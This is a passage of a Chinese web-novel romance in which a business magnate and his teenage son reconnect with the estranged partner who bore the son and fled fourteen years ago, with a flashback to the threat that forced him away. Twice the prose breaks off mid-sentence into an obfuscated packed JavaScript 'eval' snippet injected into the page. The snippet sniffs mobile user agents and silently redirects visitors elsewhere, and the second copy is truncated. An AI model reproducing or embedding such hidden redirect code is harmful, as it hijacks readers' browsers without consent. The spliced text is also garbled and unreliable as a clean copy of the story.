“行。”裴意然嗤了一声,捡起书包,“你就在这儿蹲着吧,我回家了。” 裴霖没理。 眼睛,依旧黏在那扇亮着灯的窗上。 窗内。 楚沐焦靠在沙发上,明明闭着眼,却怎么也睡不着。 窗外那道存在感太强的视线,像一张温柔的网,缠得他心口发闷。 他知道裴霖还在外面。 就那么守着。 从下午到天黑。 楚沐焦攥紧了身下的毯子,眉头死死皱着,尾音在心底无声地叹了一句,烦。 真的烦。 十四年了。 这个人,怎么还是这么……死性不改。 夜风吹凉了老街。 裴霖还蹲在路灯下,背脊挺得笔直,目光黏在那扇暖黄的窗上,一眨不眨。 十四年都熬过来了,再蹲一夜,他也愿意。 裴意然早走了,走前丢下一句“你爱蹲到几点蹲到几点”,少年再嚣张,也看得出来——他爹这次,是真的没救了。 世界安安静静。 只有甜品铺里的灯光,和窗外这个固执得不像话的男人。 屋内。 楚沐焦蜷缩在沙发里,毯子裹了一层又一层,却怎么也压不住心口那股乱糟糟的闷。 他听得见。 听得见外面一直没动的脚步声。 听得见那道沉沉的、寸步不离的视线。 裴霖就这么蹲在外面,从黄昏蹲到天黑。 商圈里呼风唤雨的裴总,西装裤沾了点灰,姿态卑微,就为了守着他这个赶了他好几次的人。 楚沐焦闭着眼,指尖死死攥着毯子。 烦。 真的烦。 烦他不听劝,烦他不走,烦他一出现就搅乱他所有平静,更烦……自己明明硬了十四年的心,此时此刻,居然在心疼。 心疼他就这么蹲在冷风里。 心疼他明明什么都不知道,却守得这么认真。 心疼他当年被自己一句话扎得遍体鳞伤,如今还敢这么不要命地凑上来。 “……” 楚沐焦猛地吸了口气,额角青筋轻轻跳了跳。 没救了。 他真是,没救了。 终于。 他撑着沙发,慢吞吞起身。 脚步虚浮,带着病后的无力,每一步都懒懒散散,却走得异常坚定。 “咔哒。” 门锁轻响。 门,被拉开了一条缝。 暖黄的灯光从里面流出来,落在裴霖头顶。 男人猛地一僵,几乎是瞬间抬头。 瞳孔里映出楚沐焦垂着眼的脸,金丝眼镜滑到鼻尖,眼尾下垂,蒙着一层雾,看不出情绪,却比这一整条街的灯光都要晃眼。 裴霖喉咙发紧,刚要开口—— 楚沐焦垂着眼,懒得看他,只伸手,一把揪住了他后颈的头发,不算轻,也不算重。 “……” 裴霖整个人一僵。 堂堂裴氏集团总裁,在外谁不敬畏三分,此刻像只被揪住后颈的大型黑豹,瞬间不敢动了。 “进来。” 楚沐焦开口,声音懒、哑、冷,还带着点不耐烦,尾音拖得长长的,跟十四年前一模一样。 “别在外面丢人现眼。” 不等裴霖反应,他微微用力,直接把人往屋里薅。 裴霖下意识顺着他的力道起身,高大的身形被他拽着走,一米九的个子,愣是被一米七五的人半拖半拉地扯进甜品铺。 乖得不像话。 门“砰”一声关上。 风铃轻轻晃了晃。 楚沐焦松开手,转身就往沙发走,懒得回头看他一眼,语气冷得像冰: “站着别动,吵到我,你现在就滚。” 裴霖站在原地,看着他单薄的背影,鼻尖一酸。 十四年了。 他终于,再一次踏进了有楚沐焦的房间。 楚沐焦蜷回沙发,把毯子一拉,盖住半张脸,只露出一双垂着的眼,淡淡瞥他一眼。 烦归烦。 赶归赶。 可他舍不得,让他就那么蹲在冷风里。 就这一次。 楚沐焦在心里对自己说。 就这一次。 窗外夜色正浓。 屋内灯光温柔。 兜兜转转十四年。 这扇门,终究还是为他,重新开了。 21. 儿子,我是你爸爸·三 门被关上的瞬间,整个世界都安静了。 暖黄的灯光裹着淡淡的甜香,还有楚沐焦身上那十四年没变的香水味,缠得裴霖呼吸都发轻。 他就乖乖站在原地,一动不敢动。 一米九的个子,平时在商场上杀伐果断,气场压得人喘不过气,此刻却像个被罚站的大型犬,背脊绷得笔直,目光却软得一塌糊涂,只敢轻轻落在楚沐焦身上。 楚沐焦蜷在沙发里,毯子半掩着脸,只露出一截光洁的额头和垂着的眼尾。 低烧还没彻底退去,脸色依旧泛白,连皱眉都透着一股没力气的懒。 他没看裴霖,声音哑得很,语气淡得没有一丝温度:“站远点,别凑过来。” 裴霖立刻往后退了半步,乖得不像话。 十四年了。 他记得楚沐焦所有的习惯,记得他怕吵,记得他怕烦,记得他最讨厌别人凑太近,更记得……他最讨厌大道理。 以前楚沐焦一不耐烦,他就会下意识讲道理。 怕他吃亏,怕他受委屈,怕他懒得照顾自己,怕他什么都一个人扛。 可现在。 裴霖张了张嘴,千言万语堵在喉咙口。 ——你这十四年去哪里了? ——你知不知道我找了你很久? ——你知不知道意然已经十四岁了? ——你当年为什么一句话都不说就走? 这些话,他想问,想掰开揉碎了说清楚,想把所有委屈、思念、慌恐都讲出来。 可一看到楚沐焦这副病弱又不耐烦的样子,他硬生生全咽了回去。 他不敢。 怕楚沐焦又说出那句“听烦了”。 怕他又把自己赶出去。 怕这好不容易得来的靠近,再次变成泡影。 裴霖就那么安安静静站着,连呼吸都放轻,声音低得几乎听不见:“……我不说话。” 楚沐焦睫羽轻轻颤了一下。 他其实余光一直都在瞥裴霖。 男人西装有些皱,裤脚沾了点灰尘,蹲了一下午,原本一丝不苟的发型也乱了几分,颈侧那颗小痣在灯光下格外清晰。 明明是个呼风唤雨的总裁,偏偏被他一句话,就定在原地不敢动。 楚沐焦心口又闷又酸,却硬是绷着脸,冷冷丢出两个字:“笨死。” 裴霖:“……” 他没反驳,也没敢吭声,只是乖乖应着:“嗯。” 楚沐焦:“……” 他本来准备了一肚子冷言冷语,准备裴霖一开口说教就直接怼回去,准备他一靠近就立刻赶人。 可这个人。 偏偏什么都不说,什么都不做,就安安静静站着,乖得让他一肚子火气都发不出来。 楚沐焦烦躁地闭了闭眼,抬手揉了揉发胀的太阳穴。 “过来。”他忽然开口。 裴霖猛地抬眼,瞳孔微微一缩,像是不敢相信自己的耳朵:“……沐焦?” “听不懂?”楚沐焦眼尾一冷,带着惯有的不耐烦,“让你过来。” 裴霖立刻轻手轻脚走过去,步子放得极慢,生怕吓着他。 楚沐焦没看他,只是往沙发里面挪了挪,腾出一小片空间,语气敷衍又嫌弃:“坐着,别出声,别乱动,别跟我讲大道理。” 三个“别”,把裴霖所有想说的话,全堵了回去。 “好。” 裴霖乖乖坐下,只沾着一点点沙发边,身体却不自觉地微微倾向他这边,目光轻轻落在他苍白的脸上,心疼都藏在眼底。 “发烧多久了?”他终究还是没忍住,声音轻得像叹息,“有没有好好吃药?” 楚沐焦眉头一皱。 裴霖立刻绷紧身体,慌忙补充:“我、我不是讲道理……我就是……” 他慌了。 怕楚沐焦生气,怕他烦。 楚沐焦看着他这副紧张到语无伦次的样子,心尖猛地一软。 这个人。 当年冷静自持,说一不二,就算天塌下来都能稳稳接住。 现在却因为他一个皱眉,就慌成这样。 楚沐焦别过脸,懒得看他那副小心翼翼的模样,声音闷闷的,带着点没睡醒的哑:“死不了。” 裴霖喉结滚动了一下,没敢再问,只轻轻“嗯”了一声。 屋内安静得只剩下两人的呼吸声。 暖灯,甜香,熟悉的人。 一切都像回到了十四年前。 那个他还没走,他还在身边的日子。 楚沐焦闭着眼,意识渐渐昏沉,生病的人总是容易犯困。 他没察觉,自己的头,正一点点、不受控制地歪过去,轻轻靠在了旁边人的肩膀上。 裴霖身体瞬间僵住。 呼吸骤停。 肩膀上传来的重量很轻,却重得像压了一整个世界。 他不敢动,不敢转头,不敢呼吸太重,连心跳都怕吵到怀里的人。 只是微微,极其轻微地,放松了一点肩膀,让他靠得更舒服一点。 十四年了。 他终于再一次,把他的人,重新拥进了咫尺之间。 这一次。 他什么道理都不讲。 只要他在。 就好。 静谧的空气里,突如其来的手机震动声突兀地划破安静。 裴霖瞳孔骤然一缩,几乎是条件反射般指尖飞快按向屏幕,瞬间静音,动作快得近乎慌乱,连呼吸都屏住了,生怕一丁点声响惊扰到肩窝处睡得正轻的人。 屏幕冷白的光刺得人眼微眯,来电人三个字明晃晃跳在眼前—— 臭小子。 是裴意然。 裴霖眉头猛地拧成一个死结,眼底刚软下去的温度瞬间覆上一层戾气,指节绷得发紧。这小子,偏偏挑这个时候来捣乱。 可还是晚了。 肩窝处的人睫羽轻轻颤了颤,楚沐焦慢悠悠睁开眼,眼尾还沾着刚睡醒的湿意,朦胧又慵懒,语气又哑又烦,带着刚被吵醒的低闷: “……谁啊。” 声音软乎乎的,尾音拖得长长的,像只被扰了清梦的猫。 裴霖瞬间敛去所有戾气,声音放得比羽毛还轻,轻得几乎贴在他耳边,小心翼翼得不像话:“没事,你继续睡,我出去接,不吵你。” 他微微动了动肩膀,想轻手轻脚起身,可楚沐焦却懒得让他动,只懒洋洋往他肩窝又蹭了蹭,找了个更舒服的姿势,眯着眼瞥了一眼亮着的手机屏幕,语气淡得没起伏: “接吧,就在这接。” 裴霖顿住动作,垂眸看了眼怀中人毫无波澜的脸,喉结轻轻滚了一下,最终还是依着他,指尖极轻地划开接听键,刻意把手机挪远一点,声线压得极低: “什么事。” 下一秒,电话那头立刻炸开裴意然又拽又不爽的少年音,嗓门大得连凑近的楚沐焦都听得一清二楚: “老爹!你还在那条街蹲着啊?!我都到家半小时了,钥匙你带走了,我进不去门!你到底回不回来?” 裴霖脸色一沉,语气立刻冷了下来,低声呵斥:“闭嘴,小声点。” “我小声?”裴意然瞬间不服气,声音拔得更高,满是怨气,“你自己蹲马路边一下午,跟条被人遗弃的大型犬似的,魂都被勾走了,现在还敢凶我?!我长这么大,第一次见你这么没形象!” 大型犬。 三个字清清楚楚落进楚沐焦耳朵里。 他靠在裴霖肩上,原本慵懒垂着的眼尾微微弯了弯,藏住一点极淡、极浅的笑意,快得几乎看不见。他抬了抬眼,镜片反光遮住眼底的情绪,嘴上却慢悠悠、冷淡淡地重复了一遍,语气里带着点不易察觉的揶揄: “……大型犬。” 轻飘飘三个字,砸得裴霖耳尖几不可查地一热。 他这辈子在商界叱咤风云,冷硬果决,从没有人敢这么形容他,更从没有人能让他狼狈到蹲马路边、还被当面戳穿。偏偏这话从楚沐焦嘴里说出来,他连半句反驳都舍不得,只觉得心尖又软又麻。 电话那头的裴意然还在持续输出:“爸!你讲点道理行不行!我晚饭没吃,家门进不去,你为了一个外面的人,连亲生儿子都不管了?!” 外面的人。 一个人。 裴霖脸色瞬间冷得吓人,眼底戾气翻涌,立刻要开口纠正——那不是外人,那是你妈妈,是我拼了十四年都要找回来的人。 可他刚要出声,肩头上的楚沐焦却忽然轻轻动了一下。 楚沐焦微微抬眼,金丝眼镜顺着鼻梁滑下来一点,露出一双蒙着雾的眼,目光淡淡落在裴霖的手机上,语气懒、软、又轻,带着点刚睡醒的茫然,重复了两个字: “陌生人?” 他声音不大,却刚好落进裴霖耳朵里。 裴霖心口猛地一紧,瞬间忘了要呵斥儿子,慌忙看向他,眼神里全是慌乱,生怕他误会,生怕他又冷下脸:“不是,沐焦,你别听他胡说,他不知道——” “我不知道?”电话那头的裴意然耳朵尖,立刻抓住话头,越说越气,逻辑清晰地开始控诉,“老爹,我可告诉你,你别以为我小就好糊弄!你今天反常成这样,又是蹲马路边,又是不理人,肯定是在外面认识了不该认识的人!” “我妈要是还在,肯定不会同意你这样的!” “你不能有了新人就忘了我妈!” 一句话。 像一根细针,狠狠扎进两人最敏感的地方。 空气瞬间安静下来。 楚沐焦靠在裴霖肩上的身体,几不可查地僵了一下。 垂在身侧的指尖,轻轻蜷了起来。 他没有说话,只是慢慢闭上眼,重新把脸埋回裴霖的肩窝,遮住眼底一闪而过的酸涩与疼意。 他就是那个“被忘了”的人。 是裴意然口中,那个从未出现过的“妈妈”。 裴霖瞬间慌了神,感觉到怀中人的僵硬,心脏像是被一只手狠狠攥住,疼得他呼吸一滞。他对着电话那头的声音骤然冷到极致,带着从未有过的厉色: “裴意然,闭嘴。” 少年被他突如其来的凶戾吓了一跳,愣了一下,随即更委屈了:“我凭什么闭嘴?我说错了吗?你就是——” “我让你闭嘴。” 裴霖的声音沉得像冰,每一个字都带着压迫感,是裴家掌权者真正的气场,“立刻,现在,闭嘴。” 裴意然被吼得彻底没了声音,只剩电话那头闷闷的呼吸声。 裴霖没有再管他,立刻把手机按断,随手丢到一边,慌忙低头看向肩窝的楚沐焦,声音慌得发颤,放得极尽温柔: “沐焦,你别听他乱讲,他不懂,他不知道是你,我没有,我从来没有——” 他急着解释,却又怕讲太多道理惹他烦,语无伦次,手足无措,全然没了平日的冷静。 楚沐焦却没睁眼,只是轻轻摇了摇头,声音哑得很,懒懒散散的,听不出情绪: “别讲。” “我不想听。” 裴霖瞬间闭上嘴,不敢再说话。 他只能轻轻、极其轻微地,抬手碰了碰楚沐焦的发顶,像安抚一只受了惊的猫,动作温柔得小心翼翼。 楚沐焦闭着眼,靠在他怀里,听着他沉稳有力的心跳,鼻尖萦绕着他身上熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261117|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的冷香。 十四年了。 他终于再一次,离这个家,这么近。 近到……连他从未敢相认的儿子,都在电话那头,清清楚楚地喊着他。 只是他不知道。 他也不敢认。 屋内重新恢复安静。 只有两人交缠的呼吸,和窗外轻轻吹过的晚风。 裴霖抱着怀里的人,心尖又疼又软,暗暗在心底下定了决心。 这一次。 他不会再让他藏起来。 更不会再让他们父子,和他,错过分毫。 屋内的暖光裹着几分酸涩的沉默,楚沐焦靠在裴霖肩上,闭着眼,长长的睫羽盖住了所有翻涌的情绪。 裴霖不敢动,不敢说话,连呼吸都放得极轻,只想把这片刻的安稳多留一秒。 可楚沐焦心里清楚,这份偷来的温柔,不能再继续了。 裴意然的那一句“新人”“忘了我妈”,像一根刺,狠狠扎醒了他。 他不能再靠近,不能再打乱裴霖的生活,更不能……让那个他亏欠了十四年的孩子,受到半点惊扰。 良久,楚沐焦缓缓睁开眼,从裴霖肩上直起身。 动作很轻,却带着不容置疑的疏离。 裴霖的心瞬间往下沉,慌得伸手想拉住他:“沐焦……” 楚沐焦避开了他的手,眼神重新冷了下来,恢复了最开始那副懒得理会的模样,语气淡得没有一丝温度: “时间不早了,你回去吧。” 裴霖脸色一白,喉结发紧:“我再陪你一会儿,你还在发烧——” “不用。” 楚沐焦打断他,眼神冷得刺人,“裴霖,我再说一次,我们十四年前就结束了。今天让你进来,只是不想你在外面丢人,不代表我原谅你,更不代表我们可以回到过去。” 他每一个字都说得又冷又狠,像是在割自己的心。 “你有你的家庭,有你的儿子,你该回去了。” “别再来找我,我烦。” 最后两个字,像一把刀,狠狠扎进裴霖心口。 男人僵在原地,高大的身形透着一股无措的狼狈,眼底的光一点点暗下去,只剩涩然。 他想反驳,想告诉他意然需要妈妈,想告诉他他从来没放下过。 可他不敢。 怕楚沐焦真的彻底翻脸,怕连这一点点念想都断掉。 最终,裴霖只是缓缓站起身,垂在身侧的手紧紧攥起,声音哑得不成样子: “……好。” “我回去。” “但沐焦,我不会放弃的。” 楚沐焦没看他,转身背对着他,蜷回沙发里,毯子一拉,把自己整个人裹起来,摆明了不想再听。 “滚。” 一个字,轻得像风,却彻底断了所有挽留。 裴霖站在原地看了他很久,目光温柔又疼惜,最终还是没再打扰,轻轻转身,拉开门,又轻轻合上。 门关上的那一刻,楚沐焦裹在毯子里的身体,终于控制不住地轻轻发抖。 夜色深浓。 裴霖开车回到家,每一秒都过得漫长。 玄关的灯亮着。 裴意然正抱着胳膊靠在墙上,脸色臭得吓人,脚下还扔着没吃的外卖袋,显然等了他很久。 听见开门声,少年立刻抬眼,眼神里又是不爽又是委屈: “你还知道回来?” “为了一个陌生人,你连家都不要了是吧?” 裴霖脱外套的动作一顿,没说话,脸色沉得难看。 裴意然越想越气,走上前,语气里带着少年独有的尖锐: “我告诉你裴霖,你今天太过分了!我妈要是在,绝对不会允许你这么对我!更不会允许你在外面——” “够了。” 裴霖忽然开口,声音很低,却带着一种压得人喘不过气的沉重。 他抬眼看向自己的儿子,眼底没有平日的冷硬,只有藏了十四年的疲惫与疼。 裴意然被他看得一愣,下意识闭了嘴。 裴霖缓缓开口,每一个字都像从心底挤出来: “他不是陌生人。” “也不是什么新人。” 裴意然皱眉:“那是谁?” 裴霖看着他,喉结滚了滚,声音轻得几乎听不见,却字字清晰: “是你妈妈。” 空气瞬间死寂。 裴意然僵在原地,眼睛猛地睁大,满脸不敢置信,像是被雷劈中了一样。 “……你说什么?” “妈?” “我妈不是……不是早就……” 后面的话,他说不下去,只觉得浑身的血液都冲上头顶,下午药店那个戴金丝眼镜、脸色苍白的男人,忽然和记忆里裴霖藏在书房深处、从不肯让他碰的旧照片,一点点重叠在一起。 裴霖闭上眼,再睁开时,眼底是十四年未散的疼。 “是他。” “楚沐焦。” “你的妈妈,我找了十四年的人。” 裴意然站在原地,彻底懵了。 半天,才憋出一句颤抖的话: “……所以下午那个……蹲马路边的大型犬……是在等我妈?” 裴霖:“……” 他懒得纠正这个形容,只是沉沉点头。 少年张了张嘴,想说什么,又不知道该说什么,最后只化作一句茫然又无措的小声: “……他回来了啊。” 窗外的月光洒进来,照亮了父子俩沉默的身影。 一个藏了十四年的秘密,终于在今夜,撕开了第一道口子。 22. 儿子,我是你爸爸·四 天色刚亮,老街还浸在薄薄的晨雾里。 楚沐焦的低烧退得差不多了,只是人依旧懒,靠在吧台后面翻着一本旧书,暖黄的灯光落在他金丝眼镜上,映得眉眼柔和又安静。 他以为昨天把裴霖赶走,总算能清净几天。 万万没想到—— 店门“叮铃”一声被推开。 一道挺拔的少年身影站在门口,校服还没换,书包斜挎在肩上,眉眼锋利,神情却带着点少见的局促和紧张。 是裴意然。 楚沐焦翻书的手指一顿,眼皮都没抬,心里已经开始疯狂吐槽: ……服了。 爹昨天烦了我一晚上,儿子今天一大早就追上门接力。 这父子俩是属牛皮糖的吗,甩都甩不掉。 裴意然站在门口没动,目光直直落在楚沐焦身上。 就是他。 昨天药店那个生病的人。 是他爹蹲马路边守了一下午的人。 是……他找了十四年的妈妈。 少年长这么大第一次这么手足无措,手心都有点冒汗,张了张嘴,半天没憋出一个字。 楚沐焦被他盯得烦,终于懒洋洋掀了掀眼,语气淡得没起伏,声音还带着晨起的哑: “买甜品?下午再来,没做。” 他故意装陌生,想把人劝退。 可裴意然这次却没像他爹那样听话走掉,反而往前迈了一步,声音有点干,还有点少年特有的紧绷: “我不是来买东西的。” 楚沐焦合上书,指尖轻轻敲了敲桌面,眼尾微微一挑,透着明显的不耐: “那干什么。” “我……”裴意然咬了咬下唇,抬眼直视他,少年的直白藏不住,“我知道你是谁。” 楚沐焦指尖微顿,脸上却没什么波澜,依旧一副事不关己的懒散模样: “我是谁。” “你是楚沐焦。” 裴意然的声音轻了点,却异常清晰,“我爸找了十四年的人。” “也是……我妈。” 最后两个字落下,空气静了一秒。 楚沐焦垂在身侧的手几不可查地蜷了一下,心口像被轻轻撞了一下,酸涩瞬间漫上来。 可他脸上依旧冷淡淡,没应声,只是重新低下头翻书,摆明了不想接话。 裴意然见他不说话,更慌了,连忙补充:“我不是来逼你的,我就是……想来看看你。” “我爸昨天回去跟我说了,我才知道。” “他昨天蹲在你店门口一下午,像条大型犬那个……” 楚沐焦:“……” 不提还好,一提他嘴角几不可查地抽了一下。 裴意然也意识到这话有点怪,干咳一声,恢复了平时拽拽的样子,却依旧放软了语气: “反正……我没有不高兴。” “我就是……想看看你。” 楚沐焦终于抬眼,淡淡扫了他一眼。 少年眉眼像极了裴霖,锋利又张扬,可眼神里的局促和小心翼翼,却让他心头发软。 这是他的孩子。 他生下来,却养了不到一年就被迫离开的孩子。 如今已经长这么大了。 可他不能认。 至少现在不能。 楚沐焦压下心口的翻涌,语气依旧懒、淡、带着点不耐烦: “看完了?” “看完了可以走了。” “我要做生意,没空陪你耗。” 裴意然一愣,没想到他会这么直接赶人,有点委屈:“我才刚来……” “刚来也一样。”楚沐焦低头翻着书,眼皮都不抬,“你爹烦我一晚上了,你再来,我嫌吵。” 他说得直白又嫌弃,可只有自己知道,每一个字都在硬撑。 裴意然站在原地,憋了半天,忽然想起什么:“我爸今天上午有个很重要的跨国会议,走不开,不然他肯定天不亮就守在这儿了。” 楚沐焦翻书的动作顿了顿。 ——难怪今天来的是儿子,不是爹。 他心里默默哼了一声,嘴上却更冷: “正好。” “他不来,我还能清静点。” 裴意然:“……” 少年第一次体会到他爹昨天的绝望。 这人是真的冷,也是真的烦他们父子。 可他偏偏生不起气。 眼前这个人,是他想了十四年的妈妈。 裴意然咬咬牙,不肯走:“我不吵你,我就在旁边坐着,行不行?” 楚沐焦懒得理他,挥挥手,像赶小狗一样: “随便你,别出声就行。” 裴意然立刻乖乖找了个角落的位置坐下,安安静静的,目光却一直落在楚沐焦身上,一瞬不瞬。 楚沐焦被他看得浑身不自在,心里再次疯狂吐槽: ……完了。 大的没甩掉,小的又粘上了。 裴霖你开会开快点,回来把你儿子领走! 晨雾慢慢散去,阳光透过玻璃窗洒进甜品铺。 一个假装冷淡,一个偷偷凝望。 一大一小,隔着十四年的时光,第一次安静地,共处一室。 而此刻会议室里的裴霖,心神不宁,手机翻了一遍又一遍,满脑子都是: 沐焦有没有好好吃药? 意然会不会吓到他? 会不会……又把人惹烦了? 一场至关重要的会议,裴总全程心不在焉。 裴意然就安安静静坐在角落,坐姿端正,像个上课不敢走神的学生,目光却黏在楚沐焦身上,半分都不肯挪开。 一会儿看他垂眸翻书的侧脸,一会儿看他指尖轻轻敲着吧台的小动作,一会儿又盯着他微微泛白的脸色,小声在心里嘀咕: 我妈长得真好看……比照片上还好看。 就是太冷了,跟冰块似的。 也难怪我爹能蹲一下午。 楚沐焦被他看得浑身发毛,翻书的速度越来越快,心里已经把裴霖从头到脚骂了八百遍: 开会开会开会,开个没完了是吧? 管管你儿子啊! 一大早就跑过来盯人,跟他爹一模一样,烦不烦啊! 他强装镇定,端起桌上的温水抿了一口,刚想重新埋进书里,店门口的风铃又是“叮铃”一响。 楚沐焦眼皮狠狠一跳。 不是吧…… 爹也来了? 这是要父子双打,轮番折磨我? 他头都没抬,语气直接冷到底:“不买东西就滚,今天不开——” 话没说完,一道带着风尘、又急又轻的声音先一步插进来: “沐焦。” 楚沐焦翻书的手一顿。 抬头。 裴霖站在门口,西装都没来得及整理,领带歪了半边,额角带着薄汗,呼吸微促,显然是一路狂奔回来的。 原本冗长又重要的跨国会议,他听了不到一半,直接拿起外套丢下一句“你们继续”,当场离席。 助理在电话那头急得喊“裴总!会议还没结束!” 他只淡淡回了一句: “不重要。” 比起生意,里面那个人,才是他的天。 裴意然一看见他爹回来,立刻从座位上弹起来,有点邀功又有点委屈: “老爹!我可没惹他!我就坐这儿看着,一句话都没多说!” 裴霖没理儿子,目光一进门就牢牢锁在楚沐焦身上,大步走过来,声音又轻又慌: “他有没有烦到你?是不是吵着你了?我现在就把他带走——” 楚沐焦看着眼前这一大一小,一个风尘仆仆、满眼慌张,一个坐得端正、一脸无辜,终于彻底没辙了。 他揉了揉发胀的太阳穴,长长吸了口气,语气里是藏不住的生无可恋: “……裴霖。” 裴霖立刻绷紧身子:“我在。” 楚沐焦抬眼,金丝眼镜后的眼神又冷又懒,一字一顿: “你们父子俩,是真的打算,轮班来烦我,是吗?” 裴霖:“……” 裴意然:“……” 两人同时噤声,乖乖站好,像两只被当场抓包的大型犬。 楚沐焦看着这一模一样的僵硬姿势,心底那点火气忽然就散了大半,只剩下又气又好笑的无奈。 他合上书,往椅背上一靠,淡淡瞥了他们一眼: “行了,别站在那儿挡光。” “要留就安静坐着,再吵,一起滚。” 裴霖几乎是立刻应声: “不吵。” “我们绝对不吵。” 说完,他小心翼翼在离楚沐焦最近的位置坐下,坐姿规矩得不像话,还不忘伸手把儿子也拽到身边,压低声音警告: “坐好,不许乱说话。” 裴意然委屈巴巴地小声嘟囔: “我本来就没说话……” 于是。 偌大的甜品铺里。 楚沐焦一个人靠在吧台后,慢悠悠翻着书。 旁边乖乖坐着两大一小。 裴霖目不转睛望着他,眼神温柔得能滴出水。 裴意然偷偷模仿他爹,也目不转睛望着楚沐焦。 一屋子安静。 只有书页翻动的轻响。 楚沐焦垂着眼,遮住眼底微微发烫的温度。 嘴上嫌烦。 心里却很清楚。 晨光慢慢爬满甜品铺,空气里飘着淡淡的面粉香。 楚沐焦靠在吧台后,假装专心翻书,眼角却总不受控制地往旁边瞟。 左边,裴霖坐得笔直,目光黏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嘴上嫌弃,手上却下意识放慢动作,方便他记。 裴意然站在角落,乖乖递工具、拿盒子,安安静静不捣乱。 时不时偷偷看一眼楚沐焦,再看一眼他爹,心里偷偷想: 原来……一家人一起做事,是这种感觉。 暖黄的灯光下,搅拌机轻轻嗡鸣。 楚沐焦低头专注做甜品,裴霖安安静静在旁打下手,裴意然守在一边打下手。 没有争吵,没有疏离,没有十四年的空白。 就像,从来没分开过一样。 楚沐焦鼻尖微微发酸,却强装冷淡。 他怕一松口,就再也硬不起心肠。 中途裴霖伸手想帮他擦嘴角沾到的一点奶油。 指尖刚靠近,楚沐焦下意识一躲。 空气顿了半秒。 裴霖的手僵在半空,眼底掠过一丝失落,轻声道歉: “对不起。” 楚沐焦看着他小心翼翼的模样,心尖一软。 他没再躲,轻轻“嗯”了一声。 裴霖眼睛一亮,动作极轻地擦掉那点奶油,指尖碰到他皮肤的一瞬,两人都微微顿了顿。 裴意然站在旁边,假装看窗外,耳朵却竖得老高,偷偷憋笑。 他算是看明白了。 他爹,彻底栽在这人手里了。 而这人……也没真的那么烦他爹。 一上午很快过去。 柜台里摆满了新鲜的小蛋糕、曲奇、布丁。 这是楚沐焦离开十四年,第一次,有人陪他一起做甜品。 中午简单煮了点面。 三个人围在小桌子旁,安安静静吃饭。 裴霖不停往楚沐焦碗里夹菜: “多吃点,你太瘦了。” “这个清淡,适合你。” 楚沐焦没拒绝,默默吃着。 裴意然也学着给他夹: “妈,你也吃这个。” 一声“妈”,轻轻巧巧落下来。 楚沐焦夹面的手猛地一顿。 眼眶瞬间有点发烫。 他低下头,遮住泛红的眼尾,没应声,却把那口菜吃了下去。 裴霖看着他的侧脸,心口又软又疼。 他知道,楚沐焦这是,松口了。 吃完饭,楚沐焦靠在沙发上小憩。 裴霖坐在旁边,轻轻给他盖毯子。 裴意然安安静静坐在另一边,不吵不闹。 阳光透过窗户洒进来,落在三人身上。 暖得不像话。 楚沐焦闭着眼,听着身边两人平稳的呼吸,心里默默吐槽: ……真是甩不掉了。 爹粘人,儿子也粘人。 可这一次,他心里没有烦。 只有一种,失而复得的、沉甸甸的安稳。 他等了十四年的家。 好像,终于在这个普通的上午,一点点,完整了。 23. 儿子,我是你爸爸·五 夜色彻底吞没了老街,甜品铺里只留了一盏昏黄的小夜灯。 裴霖和裴意然走后,屋子里一下子空得吓人,白日里短暂的温暖与烟火气,像一场一碰就碎的梦。 楚沐焦独自靠在沙发上,明明身体疲惫到了极点,却怎么也睡不着。 白天三人共处的画面在脑海里一遍遍回放,裴霖小心翼翼的温柔,裴意然怯生生的一声“妈”,每一幕都甜得发涩,暖得扎心。 他以为自己早已习惯了孤独,可被人放在心尖上疼过一次,再缩回冰冷的壳里,才知道有多难熬。 不知熬到几点,困意终于裹挟着疲惫涌来,他迷迷糊糊蜷进毯子里,沉沉睡去。 可这一觉,并不安稳。 黑暗里,画面骤然扭曲—— 他回到了十四年之前。 狭小温暖的卧室,空气中飘着淡淡的奶香味,婴儿床里躺着刚满一周的裴意然。 小小的一团,皱巴巴的,软得像一捧棉花,呼吸轻得几乎听不见。 那是他拼了半条命生下来的孩子。 那时他刚生产完,脸色苍白得像纸,却安安稳稳靠在床边,裴霖就坐在他身旁,大掌轻轻握着他的手,眼底是化不开的温柔与满足。 “沐焦,你看他,眼睛像你。” “等他再大一点,我们带他去海边。” “以后,我们一家三口,再也不分开。” 裴霖的声音温柔得能溺死人,楚沐焦靠在他怀里,以为这就是一辈子。 有家,有他,有孩子,安稳绵长,直到尽头。 可下一秒,天塌了。 房门被粗暴踹开。 楚家的人阴沉着脸站在门口,没有半分亲情,只有冰冷刺骨的威胁。 “楚沐焦,跟我们回去。” “你是楚家的人,生来就是楚家的刀,别想躲在这儿过什么安稳日子。” “立刻断了和裴家所有牵扯,否则——” 为首的人眼神狠戾,字字诛心: “裴家满门,裴霖,还有你怀里这个刚出生没几天的小崽子,全都得死。” 杀手世家,从不说空话。 楚沐焦浑身的血液,瞬间冻成冰。 他不怕死,可他怕裴霖死,怕他怀里那个连哭都轻声细气的孩子,连长大的机会都没有。 画面一转。 他回到了那个让他悔恨终生的房间。 裴霖察觉到他的不对劲,上前想将他拥进怀里,指尖刚碰到他的衣角,就被楚沐焦狠狠推开。 力道之大,连他自己都心颤。 裴霖错愕地看着他。 楚沐焦站在原地,整个人冷得像块冰,眼底最后一点温度彻底熄灭,他努力扯出一副漫不经心、慵懒厌烦的模样,声音轻得像羽毛,却字字扎进裴霖心口: “裴霖,我们算了。” 裴霖眉心猛地拧紧,语气里带着不易察觉的慌:“你闹够了没有。” “谁跟你闹。” 楚沐焦抬眼,金丝眼镜的镜片遮住泛红的眼眶,隔绝了所有疼意,他笑得冷淡又疏离:“我腻了,不想跟你过了。” 裴霖彻底慌了。 